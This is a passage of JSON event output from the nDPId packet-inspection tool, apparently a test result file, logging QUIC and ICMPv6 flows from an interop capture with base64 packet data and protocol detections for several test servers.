U6782GbDZSpGr8ntN8sySw6dOku3uT76aTNaaNtW\/2\/SmZ6WiPXDUGFDezYRwnESar9Jps0+5gYGAogq9ycMTf2y0dC4uoffSPWz1EdfmGrYbBIJCM9xuPdTrwpA6ThIjDDFV\/a6MJaOn5xQl6aMEUqPMHj458lJHEgyVojPxewoZCn1jkXsVl3BshvNc40UloZP\/zq2QIIDXt8Fodu3I71j4TQet+ImZTuvbDliPLbMm\/UuGwX7wyxtGWarNp2rii5+q0UaxBVtO8\/oJYF0+p44Z\/6vIrPBqNKbPEzkHUHiQQ9awnKGtngmRd0EnWA1J1Y87Abt4Qy51cs2KvlQ8aNSkmdJNosK8Lplp4c9AiloRm+Wlx6dF2sPcBXzpXCJ1Zlb\/eS7cm+1Of3sizAGLukg4XoSb8ue\/DVtfTnqnMgdaKnjOTE4lwUDNk1dzsHxmIBEdGAbUpr+sz2h7ZiHbtdfQRMC8R65ogyaeDK4C1lsoJ7uCJnAWZYyCp2BgnCpvONxxWtaYB6uz0UzVRleBEeiLenAlMfVHpx4w4aBWlyfvuTuObpJLNHDWzAbZSgjHkN3ZYnwTzsuPAriOrYPf6ATtgw+ny2XHg\/qI3joZ2eO+lgJd87BsLnTQUd07WAQILuYO6jQ9vvkRRzosU72uqVr9x1lpfayG4CEyt0LUHBSmhuPmLena56\/to8FPfnyS9lNyeUIAaI4Fe4R3\/cEHg8NHDOKfjqOhNoajIZ8hm564A0lQ7hQTdBfGSgEwYSiDVP6eZcG+q0lw0017Nrj5WZoVrDtJB2VmZc8vjaptwWTVWvSIds8zNI205cr+tldoXLWshLEkoE0W0QepIpcvJTYL76KEZPhOvEWN08HQuMtxYugoC0qCkSsgCEXMCRpKiTlmRwjkQSmHvPZvjNte3BsWsO0fzr7S19GB7OyjGnnDBaF02DOLob0KkURE8IUAwhzi50lzUy41R1QjTFR94lQA9n5SPLtvlqTYWDXlIlyHzlvKnztl7SJtU\/J2mGtnwVygn3oE2zBGLJfYgi3ZH3hoCHuyTU70yw=="} +00486{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":677060,"pkt_caplen":97,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":97,"pkt_l4_len":43,"pkt":"PKn0qB\/spJGxgjQ5ht1gBwV2ACsRNCoArABAAAQAAuBM\/\/5oGZ0gAQsHCsnVrqTT\/kdpHoB9EVLMLwArOxiAAAAAAAAIjowvkCXlc11FR0cg\/wAAIP8AAB\/\/AAAe\/wAAHQ=="} +00521{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":58,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1603816434677,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:19f0:4:34::1","src_port":44243,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02100{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":677860,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gDEm8BNgRQCABCwcKydWupNP+R2kegH0gARnwAAQANAAAAAAAAAABrNMRUgTYSrXMCgoKCgj2S26kHUj2aQAARL4Oqb7kxp8VwqfBhPdfdtQhtwUXSB8\/M16zqaKTaiM4uFSCgiApTua+W3aFO11E8\/vpjw5fdiBSABUTDotMg5RkiQr0MSpUaARnrP0PNMBaoZi0T3torsgUpfH8Z7GKLvwTGd3hbCPXQz5HEzUHjJnObkXYOU8pDBMRAGZYnp5rkZbRT2vPBVCj8Cvx8bBBKneUgl1FG4uQ4EwyOma55O1RYgmn2Ynf1Ko5xhvyQTnOGQ+R1VyW0n7heo02IMCfY4VWPj\/QJHyKTPMBIDBtSvz3J6mf3nv69QC6K+3y7kTFVD4RNSmXPDKfJ4r8a\/jVYQ3tiwvsysKnCLgA5zby1+dfPHEiaiwawfH+cKDMssE48zXk1+MDRnahgP5\/5W7h5R0W7WQX3skNYTREacQ3LvDACn58ERfFzl2AshIb29QMiGQj+aXYqT7ftIu1mYCEtR10HqM0E0tdjMJlVoxU1sQCMNHCcSjur932nDLMq95bmJ\/epzRqKtYXqFfJm4ZnhGTZV2QZB+hX7pNkAbrVOicdWh6ASPsIKRVzbgM4azW3TFLOWbFSWksd82BdcgW3kBeZ+Zy87igudzpPx0kdISA+wUJUrSUaJmejNXcUK68sicz01uq+5FBxl7uzJB5i2OXGU+jvmL+lkKweCPtvayVLhcuvz7KLW1nrXu3HU\/E\/bgsaTJyGVokl31OFOSR9LQtdKuoewFPyn5r490C8zNMeXqpImt2kn4Tr\/jlH\/fxzyim4MX4msP404e3jLfo+J9lzJhkenDu9xAnUgd\/iKSb6RgtGPU4Y6NI2QNpIfd6MzugcP8a0lodftPQcResoW35Hgg5t6I+PqN5frd2jtB5RiFyFN6yYVSH5fwqpb5sgLyM2ZMvumoV6ZVCMO3EMaRJu6f+U3CDduLYbXqPjXTUFXnzx9Vt03+YreNFX6wa5PrrBlSKMZP\/2WAmhb8cWINvyoZmFlnI2qd6sXg1dpFNY99Vqu1GrXPgV8Qi9MxV9uHzluuqG5swDMVT91S3LeU6XPmicYuwxrVZ0fDoeWpn4Kta0sEVDVUOf9hI8REFrn\/lLtMViNZ5rtWhIMKLyMIne37ob1RynB8J3PHqTTUqyQWLUmsA7XpXuycyFg0eDsVEBgiX65miUosWBtlhptbWoDODs0zqjlEGqOg5rKyio59+SI+p7jTV93mdfy9Wt2QGrnsPSiOSsj\/pqM\/pZ2PPrcgdTK9VPceK3CdsRz\/jNTpieviefPJXgnQD9JDKvgbRzI7jy8hldn4q+BSAvi3W0FwGFIYHJsgwTS2D+M4jyoohPca8fHwPwrKPUAytl3yLskOFTcOEOwWAP0YkHc8DSZIYnWDfZRitncpUl9qEcnjpTihvHHfw2HQxFR5lkMlUwBOL06kpNLUObIMz0gJ8az8O5U2MJseOwsScI7UtAgMA1Wat1Jr7S5b3fSl1DVUzvG0hnyrSZS2C54u89rSG8QQybBKCeSDnq1GpKeq\/O7HdjP04WmFuLDA\/vf\/9lSaOXhNpEErLndSFsHzNaPYP8EGwGI4iaWZOfcrm8FyutSUmLAlYtemRojNwXfa2nJlp8muaoRnKD2oN1ySI11a6rSv0gyOvlVRJ5egXWtg=="} +00756{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":58,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1603816434677,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:19f0:4:34::1","src_port":44243,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.rocks","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00543{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":59,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1603816434678,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2600:1f18:2310:d230:5103:7d9e:7d75:374f","src_port":38394,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02098{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":678156,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gAjrXBNgRQCABCwcKydWupNP+R2kegH0mAB8YIxDSMFEDfZ59dTdPlfoRUQTYrGTHCgoKCghDKzGtBgOvzAAARL61MEV7YMQkWdmZghiuiQz1o5QNdpzYuutf\/wdJhEZL1cudV76JEdjtP0Y3OyHIvIbsmMmNX4mYnmIsf1njial3e905frw0uHyw4\/f+5H0ef2WAdacdKOP40DoDeuCFxQz4bIKDgm8hBJ7vkD1IMm7AaEpvUQhSLgN8f+x+sA9RH+TmObL9fghOs+eNxWf96HoP4pMWR3XqHFfSqIk5FX3TNVvr+riiEz6IuctzVwm\/zqWSmC9dmXci8Fui7Q8OxkH6gLCU+aYM9wrrVZJ9j5ya5VCMnDAttNuuPdq5z4cDdXloIyyGypYPGlULxwG65oqg8RxhEo29up9ffJVpEaQX8UGyxOt3ZFGPweILYH6rNyUpje\/uB9d\/2Tqi9fZfaLpagN9mrVHJYMlLvkjpSaeasCrG6FDs+Nh7j2i5xAxuAkQ0xK7QS1Hlggg20h5t9cMg6O780ayQOD4SQCU+0AR1BtVV6iTy8Q0dm9tIpKWeNO7CSURoIrvTXKHBx5OXHuDteNJNabHxEW6\/e\/OGRw8IMWO65lgJPUK\/p\/99LM38gOa9gV2dzOdfDcRMvpSWbp3E44GpcUzlsSO+wF7JBY6P9esQ3iafS\/xZ5rdGYm06lyYTCDffm6X4KxkSuGJfTJKvPfMGPtO7M1PMG\/4y9kmbFwotO70O3qzn76AeIsqparz4gqE2VEl8QpfdxQliRyqZUZsoWB5UziEcGYDOQAbZw0c82QzSgLib58kPXBug4vmPNM71D9PmG+ZxduAFDFdu7EkUfNSxMfR6hOQumdYRVQ+J+QuJvYZ4r8AlRlJcX6HQpLdQXTOStQMDY7ErsX3+lkhbFCkOUvVD1zPSZ3X9i\/Jl3XL5dbrTO0oYnJiNAJHokvd9x91UJlo5E9+m85+BWm+iMzm3+6bNRAaSQKQrjdjennHLWo7GXNi4AtuurC53Pep+V5GsYHEa33KdpNHgca7X0HexhNHc2ElVJlmKiO9osCGww9ceX9y1pVU1v4UF5cspUvQ5RkcxirKgmOqDN1dbnXmgpQwLWcEgtJk0m+iyn9xNTJhEsJCf4M2GThouE0XLF3rBbGR8AaMV8IgL1g4CrqnSeTXeC0TiPef5r0N5Ew0ni6DodVZqUqNOv+QdCVcZaIWofYvBzMdvqE6zhO4AzOTz4GAPej5UV34aUDRCl13vR0NWFf5GvaZquOIg2EYE\/YyJl2nILl86w\/YT7aCfJJltdrHwSxGGAm2JodfqLx42fCKG98UlucLIjp39SZj8UGSr\/xymfE+UQrmVP\/eIDKUfQ\/F9RzSEtE4Gywjiw+VYseozSQwwkW8vYlep8AwdQshSEv4BOVgTV1jTbJ7jHDu3x3W7Ka2SYTSb3Yt+KkdDWxpTmyTJioeUboa1C8BSpZMyhJwlf1bmECMTVdLKtJOVuXslMtlUCVIAqqT9OTre4ouFYJNjliLNU9F808vVjFTZqlwwQjwIeKMK9tlRJNZxnWX+u5Tmaz0QgLbCP6pKnk6GGff9hBXEoVtopyfSJnogk4UBU3qLzTqqNWTse2gikbJRX2feLSYh9ICdhs0jcaXO512YMcM3tN6524plEU+japLcwChj4baYrOQTz7NVY1HU6hrUlA=="} +00791{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":59,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1603816434678,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2600:1f18:2310:d230:5103:7d9e:7d75:374f","src_port":38394,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"test.privateoctopus.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +02110{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":679393,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUArn9AAEARHfrAqAGAyu7cXJXeEVEE7GpTygoKCgoIN5KvB9nft6kAAETSd859O5gTcUYdl0d8aIlRj3zx4AjuKGa4ASMymO7vXZjT6sVM6pCw7HvmCO7cFlITvmBGM4kZgYz2DWfjjS2UhT8z6S+u4ZuqQnP6sPmHL0WtgrbFimoDsZXEWh5x4WsY15wAJFswtYDmxQkwEBAjgyKuyRv6VywYakyk9BNgIHVKy7BfjK1rPoWZ5w5I2hl2yWFdZ1\/dE9wNP5q3XxjhqAOQa4bzoBKefCRP60vRescDr5A1q9Gh9rEI1UxmIZexsLIorUS6jw27c7X3IRHEFYnp7damMbgudCUNTZ0D5\/x2EYQKzoV23CePPHf7CWo9eYf6XRWEJIBGs5xS8ziNV5+H6hYANEPNNnvMqWmg1CtTp6rU+5R3i7\/FA2u3qMYhl9YXtwck1Tx2THWWJnPTlV31JToDh9hcEx6ePHf\/HDVkBKTcysw+7WUh4g1S4U\/E6GwOzJUSl1j4FyQSA72MFR1nukBmK5l3E7lnPPMHE0UwlBbgRRjJIWWWMjukOyYVX7HOM8mWhaZJs8eEj1aINh\/eg4bAf1JY\/ufLTloR31S7y6OReDYCA\/J8a\/ZHMCpyo\/cgCYZnXroSqO5eUMiOd6mWZMV3WlojmNGGqUwidDXDOOAZnauH05acuiWNjN1drZ9uLl7kCD3klbBaB69xmhwOXqhlY+ov6Mo3v8dkwR3EXQE3Cj\/lQ4KJ2OrXiOlAmz\/GweVF9wuMVbg+hyvL7DdfTfw2qYLKgSNqwlGvO5T2f1lglyHLXCucOL7n\/zNjX0\/xlVOCxhUkQhgX\/XGJbbA7qxh9UXxvdZ3egx7Bshhqr1n6BUMoFOpjvUuGdgO0OjUEdRk5Gyk2HkFljHDaGm4ht4bH9hDtZ6HYm7nqyUay+Gd+WMBexYGDLQ2kaYG8GnHD4PrlcFbEvk3ju9rGX1R2QtLYbACEJdNJ\/zEc2GzZDjRz1o1gvI2iG\/x96iCGyzUz1N\/+nAKV+q5s2K22NkRxb1jIgd\/41FenkfbgFmpz0CA\/DQCyiLHlX2lw10drz3XG0f8LJfTp2vzPq\/+gH2c2gRSj2YcaBCyDTY5AKtyDkOEZKSL3C2C8JmYr4iJS8RMpB0jL35JgLPvSFgcoNymNWAjCjfeRN9n7RfdzVEX72bqAPdPKtdKHRkZOWGqcrp9n5GGjnQWG\/Jwx6RR+qXT6KecYDU2tCsKg\/XBFBnLfBCe2RP1K2zPx4D0wUdqR6tPZpisKmvW9Y3UI2tmUo9tLMaYgnRgRJ8M4\/14reEvtbK2a7xa1D+9b4yQoAoVStwjeuCruASzB76vQ7Oikq\/y28NWNAE6l7JAxtLpbUGRtWL7EwfR3329LDfnglJf6znmUiNxo5AmhhQH2+XGsnwv7e2QwJKwUtxfbSP6qjjAq\/IHu8Ph2sxgzDmxzqJS6NBD5\/rREJkwIRDPsPQN1aQTeYN2N94Pv5crstjdG+7f9DC85NWJZAJRxBLehoQTlbi\/SnUmr9i8puHfTCKc8NDOGVlMiWSfVcSKswlSyz9AjvXr\/Y+TehMUjsxQeL0lUqcIXfqPcJlum33ICV492562h19036aZai6yQ0yHgw3hE7aGMjyObE+Uh9o51GqJfXzYJ\/J3E7ReivOwkmjMio6pMVZIlFMAmLX7M2ggGLe5cHg=="} +00465{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":680178,"pkt_caplen":85,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":85,"pkt_l4_len":31,"pkt":"PKn0qB\/spJGxgjQ5ht1gAQBvAB8RNSABC8hHpBwlAAAAAAAAAAEgAQsHCsnVrqTT\/kdpHoB9EVLAdgAfFkT+AAAAAAAIs6FDVD5jbx4KGio6\/wAAHQ=="} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":62,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1603816434680,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:19f0:5:c21:5400:1ff:fe33:3b96","dst_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +02109{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":680209,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"PKn0qB\/spJGxgjQ5ht1gCSIhBNg6MiABGfAABQwhVAAB\/\/4zO5YgAQsHCsnVrqTT\/kdpHoB9AQQtsQAAAABgAlC2BNgRMiABCwcKydWupNP+R2kegH0gARnwAAUMIVQAAf\/+MzuWmsgBuwTYjDrICgoKCgjzgkejWnQFTwAARL7AEcGzrGiFbLDVVitPMjpX6T6us8klH0LZdsk33gK4kca790hWc9lEqiHw2zuG3cvmTx4edwCefhx9uVFQHbwCX7OdVaAKALQsTDf2esUnZnHqAVwqfHs0alGH87lg8LOQYMLCyJ5o4796Hi54oLNHvp1iBOlawAP1QQwkOrhTac81Z\/3lqw5txy4fqI2ulRUcc8HMVbAvriqgCRBafLPQysmCOVqjinACocPdi0ZP1pUx0qn0+kKcTF+7gFuANdSw5ZrXDF5v6YKUxiJ6vSw8Hy7vrpHpUiN+5fprlESKduOvuve2w8S0Rn1T\/QCLnqgsvW4zVX2obPqKMBoLM0FaRFm0tupv3jD2Bo6wMhEP7UVS6LQVCbX\/F5hZ42FQPL174ha0Yjp7fot\/ow92n0s8sDYpXdyVzzUtmI9H59mtClZBkXIm4hCy5YwKUBE5Htf0HL6v7tX\/C56I4bHgjD1kXDqKwEusnGxfxLkbm5cB84\/UPVfX54l5AlcUWrKt\/sWPHXza3lrXmjl3iKLayJGvSvxgwAyLdj+1dAf2mHjT3T9ZeLg4TPyNz17SLyKDROZpbuZtC2zCbnl+NoReuXxIIu553FeA7K1Fq06E+HYHhMw9+fWseAQfiQhoIBqlHGL+6zzFwJx8LqsX2kF9IlqJJkfGxh2dCK8J4o5uVhtnU3J2xj0GDXLtBrNSCk7DDd67hChkNkJ\/zra77RGExcKdo9KUDUUYykOLFAbdNAsP9djZJfE2+FIW26Q0ve6PvxjGma3cI1DAbfodw3x7gmpMenGXbAesto3GigfY8Dqk5DyVN2us4Q8jxijjrwa1uGb6WCWFIbPGsRxa2EtoUIAHsP\/pagnvZR1tK2myhxOFZczPeNlpxk1o3SOIXdZrMfCNqe8UgV89dZHklMi3hgQCyoO5n2p9n2UNtckDsulzdkWAkN7ELjfKSw3xLKX8QYYwRNZkrnslYV\/gNUyPn\/DAHxcrYsCggnVPpcMfjQHnjiySyU7agWUfxfnrK5KR0Hz1uxcerQD9r2dHrU5GwRgAJqiERgTrm61j0\/9g6EnJzaJxnY2YL\/8StPHOT4TbswEzgPxmOMhq3B3NyVJmRRvGKyoWosF33+eeRJZtqDmGzt7Y\/QslvmPGsoNyGhIfWD4qHCWm8JN2zWi8NKuiyFpgsC\/gseqp2COjYeHLzTsHE8Lb24ziOBbxiS8nhlUeyvkTXTnPgtpZev\/ducm+wW0A+YY2gp+9vovT+lMYKPoIIeW89qmvsTK34QrhAHBV8Gdi7IG6oE67NdkIrFleG4EtBQyuNTVG\/Hni6IlsFEhmcMOi9gtqRQF0bots7U2r2su6TX5cs\/tWsUtfcKDq01p1Oi+UeZRz\/V+lKX5GfCRE\/JIN8wqGMoYFzwTiwgXQFJuV\/tc8U4uoRYgnau5MAB9+BYOU44CnqwsIla5AaVfMisOMnVZhANbfOkDwWOMuBcFcvM4iPJEdLrpJXtiL7lozz\/DNjHrb6qIdiWBMUyCod\/1w5XY81jvBVw6EPdS52X\/61VYwnM6etnlrj2efLA=="} +00541{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":62,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1603816434680,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:19f0:5:c21:5400:1ff:fe33:3b96","dst_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00470{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":682914,"pkt_caplen":89,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":89,"pkt_l4_len":35,"pkt":"PKn0qB\/spJGxgjQ5ht1gCzKCACMROyYGRwAAEAAAAAAAAGgWCCYgAQsHCsnVrqTT\/kdpHoB9Abu1EQAj2NGpAAAAAAAI+gzxyVlrPLD\/AAAd\/wAAHP8AABs="} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":64,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1603816434684,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"202.238.220.92","src_port":35263,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02109{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":684954,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAiNhAAEARQ6HAqAGAyu7cXIm\/EVIE7DIpzgoKCgoIV4qr8UTBK3QAAETSh\/17BQebdhKt5N8exOyNj+uiOYMPWvj6jDz\/XRUXpazLTuGIaL+gAsTmd0\/ny+0FgJZmR3W9tTl2uiHStd0rHjDhZZpjA+Vv70KyXaIxYALOy77NR4C4EhjQ7Woy4Z1XktOMuzY1G1wK+\/m8WHSuXiS0ZJH0FyTMGjp1ybnyu6MTC\/32FsQ4+KBXvfT1hZaE3FEFqOfGH728c4f7jwV39sXMvsF\/koxt7XF+OaEoT44gruD3j1M3Pn+2KBK+MAfr0VIJTB\/qx0CUwI+AOjfOrOEwPlBTKV\/RpKd6AM0mgPkKYfiJQlRit614p6k0X9lbx\/f6ahWLCq72n2YzUVWYWdT5J7gjttfn3tAoB7zUzS53IQUv1B2zhYj8uYWCPv5E8X1+\/TvDaDXt2s1yt3mYps645wMsjGX9jfYnekRT\/suzL4Jvq5T+oMyQFpalloUrRQHYgV03PgJRooTK2iTJSDezMo3Sabn4X3VQSLr6CnIqGTTH4TZdTS1EPTMj1g2xj\/dIUvvG\/pFUdjLNu0inX1PgBZ1cWwdYMDOvaetqYINrUUAYfMt0S6ZnZpx8OdfUPc+mujDPZthVujZlugXTs5\/Mi1arhb7RDdu56QF0HkACvwfN4y6hPV9GkFI7UUzwkjbNgS+SVTyZpwJf1vfOY3NxgRH+ySFpHqqy7QQrR1g1b3fzph2N6Zo2yzEoxr3cQcaq6oirf5SKGC3qVOfI2XVtorskDTjDPZugOVkY\/anHMfrVansEFGxUEN\/DC\/sCrdnQCX2T0SNbs6Z3vWghQ\/Ttglq6nwriBypoi1GkgpMWRpNQC1+tftj6Y6qDc8PUt47spNcYJ0VauEV18MYpeZpOQrwmNsvWkYDeiXS3LX6E8xtGwpF4W5EfDLclRZBbPNPUZexMZprIpblVxLNvXkp38hv3mKP9juEW+w1x9u0\/FE+PXNXqQt+cpccucng\/siXW8dIomIy+1Vr2PrUvdyaaKk0C6UQxd5P55nB9LiOhbpyhKVQTsv\/+44XghuC1pJ3FXt2NjQe+CUcHyg\/CStdVZ77sBr3jEHJD5WyRhPOE0PHrKjEkwO61egIk2dYxhBIp8OCkst22lv5y0ZwcT34lkkTv5u3Z+PpFSID1U+kLTu+5h8UIdmdChB8Ic1cG4AQYLHLWNXQ2dMqc9hc5mVaWGdqVsXAgEZ8PmUGN1\/+K9d7hwED1E+zAtc4tOBuE\/zS269MNpdYACOTcy9RHUvjlSspQylJjubyYwnj40H3orsiMgpv6tA2AxST8dUKpvzYljGrSAdakZ46qVrbuEBiCGMTCs+\/UNgvM2e6Fe+6gqDCfOY\/zXSUtlduoc3jid15XCt88k2M9Kq40sh6m+8eKjtvlwD7XYwfSnLxwxhEyeUkGT+13FX++6oG59AfysFjC5iJYSscA+YXyA0hYuJ9OTtOQZg32pXfl5BmrmRqnRAIwBXmzbGgXzEsXtx+lmlWCK421d8ePwyDwI8wnHfI\/90mFIe34gGT+WMlq4ZgFubtwTSjzidVFs7GoczF7Lrr2uW4jA9qjpqY0sj9p\/VVph1PRzTPVNMdHm+sMkD3+hhI82joYjOeoRxcWEO0C7MjWGcq92hfnKcQSy875okSAGULGntKS3GeTR0gVMj+6KA=="} +00726{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":64,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1603816434684,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"202.238.220.92","src_port":35263,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"mew.org","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +02109{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":685476,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gD105BNgRQCABCwcKydWupNP+R2kegH0mBkcAABAAAAAAAABoFggmgL0RUQTYZ0HNCgoKCggKh53oSKcUIwAARL7gnbCt\/i9esljBwsmPvsojrH1nHZVBY0xSwfKH3XUIijCNgd7Dz8vI4xY\/GVgHV60CIRICp6Kjnr0zMRCxb3nrCucJOyP18UJ2XfpoAWpzvs2pUT\/u95vGBd8XvGhGtYoLqIrMkwYTUuZWsLPdt9\/gzvA15FlJOa7ugVzGXmi7RWK2tRS2hGORcD238yWdl10gYN8ZAvJb8s0UeahNz4nqOB1o1ewm+JfW47bFEqheid7sAMQL3N59\/ISUhkQ8vC1I4dVehQTYmG2zs3sj46oOz5lAFlK26vOv5VRV5IPztRMlciR7V6Adse5xtWtlpuIXzn5\/UDxzj9dah7+yAdZOHeT0zLvwsIoGcoPRxB0MH96VRzKARwz+S7KKOKG8cm2If62RiaOWfmxkaI06NFuh2TWyOGI\/smeYiBlrsSEsSPLBOsy9YKqIRy2SnU5fpV0QIrpOULNF15tvg64kCSUJEHN7hq8wuLHUYVeVMfUb150XuMPRFaeDc+hRLxIgkKsegq\/1GMLnU3cw+YqqtGx9